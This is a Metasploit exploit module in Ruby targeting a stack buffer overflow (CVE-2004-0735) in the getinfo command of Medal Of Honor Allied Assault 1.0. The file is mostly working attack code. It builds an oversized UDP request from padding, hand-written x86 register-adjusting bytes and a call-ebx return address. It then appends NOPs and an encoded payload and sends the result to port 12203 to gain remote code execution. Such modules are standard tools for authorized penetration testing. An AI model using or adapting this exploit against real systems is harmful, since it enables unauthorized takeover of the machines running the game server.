Medal Of Honor Allied Assault getinfo Stack Buffer Overflow



##

# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow in the getinfo
                command of Medal Of Honor Allied Assault.
            },
            'Author'         => [ 'Jacopo Cervini' ],
            'License'        => BSD_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2004-0735'],
                    [ 'OSVDB', '8061' ],
                    [ 'URL', 'http://www.milw0rm.com/exploits/357'],
                    [ 'BID', '10743'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 512,
                    'BadChars' => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
                ],
            'DisclosureDate' => 'Jul 17 2004',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(12203)
            ], self.class)
    end

    def exploit
        connect_udp

        # We should convert this to metasm - Patrick
        buf = 'B' * target['Rets'][0]
        buf << "\x68\x76\x76\x76\x76"*9       # PUSH 76767676 x 9
        buf << "\x68\x7f\x7f\x7f\x7f"         # PUSH 7F7F7F7F
        buf << "\x57"                    # PUSH EDI
        buf << "\x58"                    # POP EAX
        buf << "\x32\x64\x24\x24"            # XOR AH,BYTE PTR SS:[ESP+24]
        buf << "\x32\x24\x24"                # XOR AH,BYTE PTR SS:[ESP]
        buf << "\x48"*150                    # DEC EAX x 150
        buf << "\x50\x50"                    # PUSH EAX x 2
        buf << "\x53"                # PUSH EBX
        buf << "\x58"                # POP EAX
        buf << "\x51"                # PUSH ECX
        buf << "\x32\x24\x24"            # XOR AH,BYTE PTR SS:[ESP]
        buf << "\x6a\x7f"                # PUSH 7F
        buf << "\x5e"                # POP ESI
        buf << "\x46"*37                # INC ESI
        buf << "\x56"*10                # PUSH ESI
        buf << "\x32\x44\x24\x24"        # XOR AL,BYTE PTR SS:[ESP+24]
        buf << "\x49\x49"                # DEC ECX
        buf << "\x31\x48\x34"            # XOR DWORD PTR DS:[EAX+34],ECX
        buf << "\x58"*11                # POP EAX
        buf << "\x42"*66
        buf << "\x3c"*4
        buf << "\x42"*48
        buf << [ target['Rets'][1] ].pack('V')

        req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
        req << "\r\n\r\n" + make_nops(32) + payload.encoded

        udp_sock.put(req)

        handler
        disconnect_udp
    end

end